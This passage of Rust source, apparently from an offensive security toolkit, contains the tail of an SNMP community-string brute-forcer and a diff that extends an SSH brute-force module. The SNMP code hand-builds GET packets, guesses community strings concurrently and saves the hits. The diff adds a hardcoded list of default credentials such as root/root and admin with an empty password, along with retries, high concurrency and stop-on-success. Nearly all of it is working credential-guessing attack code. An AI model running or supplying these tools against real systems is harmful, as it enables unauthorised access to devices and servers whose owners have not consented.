}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task join error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No valid community strings found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid community string(s):", creds.len()).green().bold());
|
||||
for (host, community) in creds.iter() {
|
||||
println!(" {} -> community: '{}'", host, community);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, community) in creds.iter() {
|
||||
writeln!(file, "{} -> community: '{}'", host, community)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_snmp_community(
|
||||
normalized_addr: &str,
|
||||
community: &str,
|
||||
version: u8, // 0 = v1, 1 = v2c
|
||||
timeout: Duration,
|
||||
) -> Result<bool> {
|
||||
let community_owned = community.to_string();
|
||||
let addr_owned = normalized_addr.to_string();
|
||||
|
||||
let result = spawn_blocking(move || -> Result<bool, anyhow::Error> {
|
||||
// Parse the address
|
||||
let addr: SocketAddr = addr_owned
|
||||
.parse()
|
||||
.map_err(|e| anyhow!("Invalid address '{}': {}", addr_owned, e))?;
|
||||
|
||||
// Create UDP socket
|
||||
let socket = UdpSocket::bind("0.0.0.0:0")
|
||||
.map_err(|e| anyhow!("Failed to bind socket: {}", e))?;
|
||||
|
||||
socket
|
||||
.set_read_timeout(Some(timeout))
|
||||
.map_err(|e| anyhow!("Failed to set read timeout: {}", e))?;
|
||||
|
||||
// Build SNMP GET request manually
|
||||
// OID: 1.3.6.1.2.1.1.1.0 (sysDescr)
|
||||
let message = build_snmp_get_request(&community_owned, version);
|
||||
|
||||
// Send request
|
||||
socket
|
||||
.send_to(&message, &addr)
|
||||
.map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?;
|
||||
|
||||
// Receive response
|
||||
let mut buf = vec![0u8; 4096];
|
||||
let result: bool = match socket.recv_from(&mut buf) {
|
||||
Ok((size, _)) => {
|
||||
let response = &buf[..size];
|
||||
|
||||
// Parse SNMP response to verify it's valid
|
||||
// A valid SNMP response should:
|
||||
// 1. Start with 0x30 (SEQUENCE)
|
||||
// 2. Contain version, community, and PDU
|
||||
// 3. Have error status = 0 (noError) in the response PDU
|
||||
if size >= 20 && response[0] == 0x30 {
|
||||
// Try to parse the response to check error status
|
||||
// If we can parse it and error status is 0, it's valid
|
||||
match parse_snmp_response(response) {
|
||||
Ok(true) => true, // Valid community string
|
||||
Ok(false) => false, // Invalid community (error in response)
|
||||
Err(_) => {
|
||||
// Can't parse, but got a response - might be valid
|
||||
// Some devices send malformed responses but still indicate valid community
|
||||
true
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Malformed response - likely invalid
|
||||
false
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
// Handle timeout and EAGAIN/EWOULDBLOCK errors as invalid community
|
||||
// EAGAIN (os error 11) can occur on Linux when socket would block
|
||||
let error_kind = e.kind();
|
||||
if error_kind == std::io::ErrorKind::TimedOut
|
||||
|| error_kind == std::io::ErrorKind::WouldBlock
|
||||
|| e.raw_os_error() == Some(11) // EAGAIN on Linux
|
||||
|| e.raw_os_error() == Some(35) // EAGAIN on macOS
|
||||
{
|
||||
// Timeout or would block - community string is likely invalid
|
||||
false
|
||||
} else {
|
||||
// Other errors might be transient, but log them
|
||||
// For now, treat as invalid to avoid false positives
|
||||
false
|
||||
}
|
||||
}
|
||||
};
|
||||
Ok(result)
|
||||
})
|
||||
.await
|
||||
.map_err(|e| anyhow!("Task join error: {}", e))?;
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
/// Parses SNMP response to check if error status is 0 (noError)
|
||||
/// Returns Ok(true) if valid, Ok(false) if error status != 0, Err if can't parse
|
||||
fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
if response.len() < 20 || response[0] != 0x30 {
|
||||
return Err(anyhow!("Invalid SNMP response header"));
|
||||
}
|
||||
|
||||
// Try to find the PDU (GetResponse-PDU = 0xa2)
|
||||
// The structure is: SEQUENCE (version, community, PDU)
|
||||
// We need to skip version and community to get to the PDU
|
||||
|
||||
let mut pos = 1;
|
||||
|
||||
// Skip length of outer SEQUENCE
|
||||
if pos >= response.len() {
|
||||
return Err(anyhow!("Response too short"));
|
||||
}
|
||||
let (_len, len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += len_bytes;
|
||||
|
||||
// Skip version (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid version field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += vlen_bytes + vlen;
|
||||
|
||||
// Skip community (OCTET STRING)
|
||||
if pos >= response.len() || response[pos] != 0x04 {
|
||||
return Err(anyhow!("Invalid community field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (clen, clen_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += clen_bytes + clen;
|
||||
|
||||
// Now we should be at the PDU
|
||||
// GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0
|
||||
if pos >= response.len() {
|
||||
return Err(anyhow!("Response too short for PDU"));
|
||||
}
|
||||
|
||||
let pdu_tag = response[pos];
|
||||
if pdu_tag != 0xa2 && pdu_tag != 0xa0 {
|
||||
// Not a GetResponse or GetRequest, might be an error
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
pos += 1;
|
||||
let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += pdu_len_bytes;
|
||||
|
||||
// PDU structure: request-id, error-status, error-index, variable-bindings
|
||||
// Skip request-id (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid request-id field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += rid_len_bytes + rid_len;
|
||||
|
||||
// Read error-status (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid error-status field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (es_len, es_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
if es_len == 0 || pos + es_len_bytes + es_len > response.len() {
|
||||
return Err(anyhow!("Invalid error-status length"));
|
||||
}
|
||||
|
||||
// Read the error status value
|
||||
let error_status = if es_len == 1 {
|
||||
response[pos + es_len_bytes] as u32
|
||||
} else {
|
||||
// Multi-byte integer (shouldn't happen for error status, but handle it)
|
||||
let mut val = 0u32;
|
||||
for i in 0..es_len {
|
||||
val = (val << 8) | (response[pos + es_len_bytes + i] as u32);
|
||||
}
|
||||
val
|
||||
};
|
||||
|
||||
// Error status 0 = noError, anything else is an error
|
||||
Ok(error_status == 0)
|
||||
}
|
||||
|
||||
/// Parses BER length field
|
||||
/// Returns (length_value, number_of_bytes_consumed)
|
||||
fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
|
||||
if data.is_empty() {
|
||||
return Err(anyhow!("Empty length field"));
|
||||
}
|
||||
|
||||
let first_byte = data[0];
|
||||
|
||||
if (first_byte & 0x80) == 0 {
|
||||
// Short form: single byte
|
||||
Ok((first_byte as usize, 1))
|
||||
} else {
|
||||
// Long form: first byte indicates number of length bytes
|
||||
let num_bytes = (first_byte & 0x7F) as usize;
|
||||
if num_bytes == 0 {
|
||||
return Err(anyhow!("Indefinite length not supported"));
|
||||
}
|
||||
if num_bytes > 4 {
|
||||
return Err(anyhow!("Length field too large"));
|
||||
}
|
||||
if data.len() < 1 + num_bytes {
|
||||
return Err(anyhow!("Not enough bytes for length field"));
|
||||
}
|
||||
|
||||
let mut length = 0usize;
|
||||
for i in 0..num_bytes {
|
||||
length = (length << 8) | (data[1 + i] as usize);
|
||||
}
|
||||
|
||||
Ok((length, 1 + num_bytes))
|
||||
}
|
||||
}
|
||||
|
||||
/// Builds a simple SNMP GET request packet manually
|
||||
/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request
|
||||
fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
|
||||
// Build components first, then assemble with proper length encoding
|
||||
|
||||
// OID for sysDescr: 1.3.6.1.2.1.1.1.0
|
||||
let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]);
|
||||
let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER
|
||||
|
||||
// NULL value
|
||||
let null_tlv = vec![0x05, 0x00]; // NULL type, length 0
|
||||
|
||||
// VarBind: SEQUENCE of (OID, NULL)
|
||||
let mut var_bind = Vec::new();
|
||||
var_bind.extend_from_slice(&oid_tlv);
|
||||
var_bind.extend_from_slice(&null_tlv);
|
||||
let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE
|
||||
|
||||
// VarBindList: SEQUENCE of VarBind
|
||||
let mut var_bind_list_content = Vec::new();
|
||||
var_bind_list_content.extend_from_slice(&var_bind_tlv);
|
||||
let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE
|
||||
|
||||
// Request ID
|
||||
let request_id_tlv = encode_integer_tlv(1u32);
|
||||
|
||||
// Error status (0 = noError)
|
||||
let error_status_tlv = encode_integer_tlv(0u32);
|
||||
|
||||
// Error index (0 = noError)
|
||||
let error_index_tlv = encode_integer_tlv(0u32);
|
||||
|
||||
// PDU: GetRequest-PDU
|
||||
let mut pdu_content = Vec::new();
|
||||
pdu_content.extend_from_slice(&request_id_tlv);
|
||||
pdu_content.extend_from_slice(&error_status_tlv);
|
||||
pdu_content.extend_from_slice(&error_index_tlv);
|
||||
pdu_content.extend_from_slice(&var_bind_list_tlv);
|
||||
let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU
|
||||
|
||||
// Version
|
||||
let version_tlv = encode_integer_tlv(version as u32);
|
||||
|
||||
// Community string
|
||||
let community_bytes = community.as_bytes();
|
||||
let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING
|
||||
|
||||
// SNMP Message: SEQUENCE of (version, community, PDU)
|
||||
let mut message_content = Vec::new();
|
||||
message_content.extend_from_slice(&version_tlv);
|
||||
message_content.extend_from_slice(&community_tlv);
|
||||
message_content.extend_from_slice(&pdu_tlv);
|
||||
let message = build_tlv(0x30, &message_content); // 0x30 = SEQUENCE
|
||||
|
||||
message
|
||||
}
|
||||
|
||||
/// Builds a TLV (Type-Length-Value) structure
|
||||
fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
|
||||
let mut result = Vec::new();
|
||||
result.push(tag);
|
||||
|
||||
let length = value.len();
|
||||
if length < 128 {
|
||||
// Short form: single byte length
|
||||
result.push(length as u8);
|
||||
} else {
|
||||
// Long form: first byte is 0x80 | num_bytes, followed by length bytes (big-endian)
|
||||
// Calculate how many bytes we need for the length
|
||||
let mut len = length;
|
||||
let mut num_bytes = 0;
|
||||
let mut len_bytes = Vec::new();
|
||||
|
||||
while len > 0 {
|
||||
len_bytes.push((len & 0xFF) as u8);
|
||||
len >>= 8;
|
||||
num_bytes += 1;
|
||||
}
|
||||
|
||||
// Reverse to get big-endian representation
|
||||
len_bytes.reverse();
|
||||
|
||||
// First byte: 0x80 | number of length bytes
|
||||
result.push(0x80 | (num_bytes as u8));
|
||||
result.extend_from_slice(&len_bytes);
|
||||
}
|
||||
|
||||
result.extend_from_slice(value);
|
||||
result
|
||||
}
|
||||
|
||||
/// Encodes an integer as a TLV (signed integer, but we use it for unsigned values)
|
||||
fn encode_integer_tlv(value: u32) -> Vec<u8> {
|
||||
let mut bytes = Vec::new();
|
||||
if value == 0 {
|
||||
bytes.push(0);
|
||||
} else {
|
||||
let mut val = value;
|
||||
// Encode as big-endian, using minimum number of bytes
|
||||
// For values that would have high bit set, we need an extra zero byte
|
||||
// to ensure it's interpreted as positive
|
||||
while val > 0 {
|
||||
bytes.push((val & 0xFF) as u8);
|
||||
val >>= 8;
|
||||
}
|
||||
bytes.reverse();
|
||||
|
||||
// If high bit is set, prepend 0x00 to make it positive
|
||||
if bytes[0] & 0x80 != 0 {
|
||||
bytes.insert(0, 0x00);
|
||||
}
|
||||
}
|
||||
build_tlv(0x02, &bytes) // 0x02 = INTEGER
|
||||
}
|
||||
|
||||
/// Encodes OID value (without the TLV wrapper)
|
||||
fn encode_oid_value(oid: &[u32]) -> Vec<u8> {
|
||||
let mut encoded = Vec::new();
|
||||
if oid.len() >= 2 {
|
||||
// First two sub-identifiers are encoded as: first * 40 + second
|
||||
encoded.push((oid[0] * 40 + oid[1]) as u8);
|
||||
for &sub_id in &oid[2..] {
|
||||
encode_sub_id(sub_id, &mut encoded);
|
||||
}
|
||||
}
|
||||
encoded
|
||||
}
|
||||
|
||||
|
||||
/// Encodes a sub-identifier using base-128 encoding
|
||||
fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
|
||||
let mut bytes = Vec::new();
|
||||
if value == 0 {
|
||||
bytes.push(0);
|
||||
} else {
|
||||
while value > 0 {
|
||||
bytes.push((value & 0x7F) as u8);
|
||||
value >>= 7;
|
||||
}
|
||||
bytes.reverse();
|
||||
// Set high bit on all but last byte
|
||||
for i in 0..bytes.len() - 1 {
|
||||
bytes[i] |= 0x80;
|
||||
}
|
||||
}
|
||||
output.extend_from_slice(&bytes);
|
||||
}
|
||||
|
||||
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
|
||||
let trimmed = host.trim();
|
||||
let caps = re
|
||||
.captures(trimmed)
|
||||
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
|
||||
let addr = caps.name("addr").unwrap().as_str();
|
||||
let port = if let Some(m) = caps.name("port") {
|
||||
m.as_str()
|
||||
.parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
|
||||
} else {
|
||||
default_port
|
||||
};
|
||||
let formatted = if addr.contains(':') && !addr.contains('.') {
|
||||
format!("[{}]:{}", addr, port)
|
||||
} else {
|
||||
format!("{}:{}", addr, port)
|
||||
};
|
||||
|
||||
// Validate that the address can be resolved
|
||||
formatted
|
||||
.parse::<std::net::SocketAddr>()
|
||||
.map_err(|e| anyhow!("Could not parse address '{}': {}", formatted, e))?;
|
||||
|
||||
Ok(formatted)
|
||||
}
|
||||
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|l| !l.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path_candidate = Path::new(input_path_str)
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
|
||||
.map(|s_cow| s_cow.into_owned())
|
||||
.unwrap_or_else(|| "snmp_brute_results.txt".to_string());
|
||||
|
||||
PathBuf::from(format!("./{}", path_candidate))
|
||||
}
|
||||
|
||||
@@ -2,41 +2,184 @@ use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::TcpStream,
|
||||
net::{TcpStream, ToSocketAddrs},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::{
|
||||
atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
Arc,
|
||||
},
|
||||
time::Instant,
|
||||
};
|
||||
use regex::Regex;
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
task::spawn_blocking,
|
||||
time::{sleep, Duration},
|
||||
time::{sleep, Duration, timeout},
|
||||
};
|
||||
|
||||
// Constants
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("root", "root"),
|
||||
("admin", "admin"),
|
||||
("user", "user"),
|
||||
("guest", "guest"),
|
||||
("root", "123456"),
|
||||
("admin", "123456"),
|
||||
("root", "password"),
|
||||
("admin", "password"),
|
||||
("root", ""),
|
||||
("admin", ""),
|
||||
("ubuntu", "ubuntu"),
|
||||
("test", "test"),
|
||||
("oracle", "oracle"),
|
||||
];
|
||||
|
||||
// Statistics tracking
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
retried_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
retried_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn record_retry(&self) {
|
||||
self.retried_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let retries = self.retried_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
retries,
|
||||
rate
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let retries = self.retried_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Retries: {}", retries);
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== SSH Brute Force Module ===");
|
||||
println!("{}", "=== SSH Brute Force Module ===".bold());
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("SSH Port", "22")?;
|
||||
let input = prompt_default("SSH Port", &DEFAULT_SSH_PORT.to_string())?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
Ok(p) if p > 0 => break p,
|
||||
_ => println!("{}", "Invalid port. Must be between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
// Ask about default credentials
|
||||
let use_defaults = prompt_yes_no("Try default credentials first?", true)?;
|
||||
|
||||
let usernames_file = if prompt_yes_no("Use username wordlist?", true)? {
|
||||
Some(prompt_existing_file("Username wordlist")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if prompt_yes_no("Use password wordlist?", true)? {
|
||||
Some(prompt_existing_file("Password wordlist")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
Ok(n) if n > 0 && n <= 256 => break n,
|
||||
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "5")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n >= 1 && n <= 60 => break n,
|
||||
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let retry_on_error = prompt_yes_no("Retry on connection errors?", true)?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
loop {
|
||||
let input = prompt_default("Max retries per attempt", "2")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 && n <= 10 => break n,
|
||||
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
|
||||
}
|
||||
}
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
@@ -47,104 +190,223 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
let initial_addr = format!("{}:{}", target, port);
|
||||
let connect_addr = format_host_port(&initial_addr)?;
|
||||
let connect_addr = normalize_target(target, port)?;
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
println!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", connect_addr);
|
||||
|
||||
let user_list = load_lines(&usernames_file)?;
|
||||
if user_list.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
let users = Arc::new(user_list);
|
||||
|
||||
let pass_file = File::open(&passwords_file)?;
|
||||
let pass_buf = BufReader::new(pass_file);
|
||||
let pass_lines: Vec<String> = pass_buf
|
||||
.lines()
|
||||
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect();
|
||||
if pass_lines.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
println!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
println!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
println!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
// Calculate total attempts
|
||||
let total_attempts = if combo_mode {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
passwords.len()
|
||||
};
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(HashSet::new()));
|
||||
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut tasks = Vec::new();
|
||||
let mut user_cycle_idx = 0;
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
for pass_str in pass_lines {
|
||||
if *stop.lock().await {
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Generate credential pairs
|
||||
let mut tasks = Vec::new();
|
||||
let mut user_cycle_idx = 0usize;
|
||||
|
||||
for pass in passwords.iter() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let users_for_current_pass: Box<dyn Iterator<Item = String>> = if combo_mode {
|
||||
Box::new(users.iter().cloned())
|
||||
let selected_users: Vec<String> = if combo_mode {
|
||||
usernames.iter().cloned().collect()
|
||||
} else {
|
||||
if users.is_empty() {
|
||||
Box::new(std::iter::empty())
|
||||
if usernames.is_empty() {
|
||||
Vec::new()
|
||||
} else {
|
||||
let user = users[user_cycle_idx % users.len()].clone();
|
||||
let user = usernames[user_cycle_idx % usernames.len()].clone();
|
||||
user_cycle_idx += 1;
|
||||
Box::new(std::iter::once(user))
|
||||
vec![user]
|
||||
}
|
||||
};
|
||||
|
||||
for user_str in users_for_current_pass {
|
||||
if *stop.lock().await {
|
||||
for user in selected_users {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
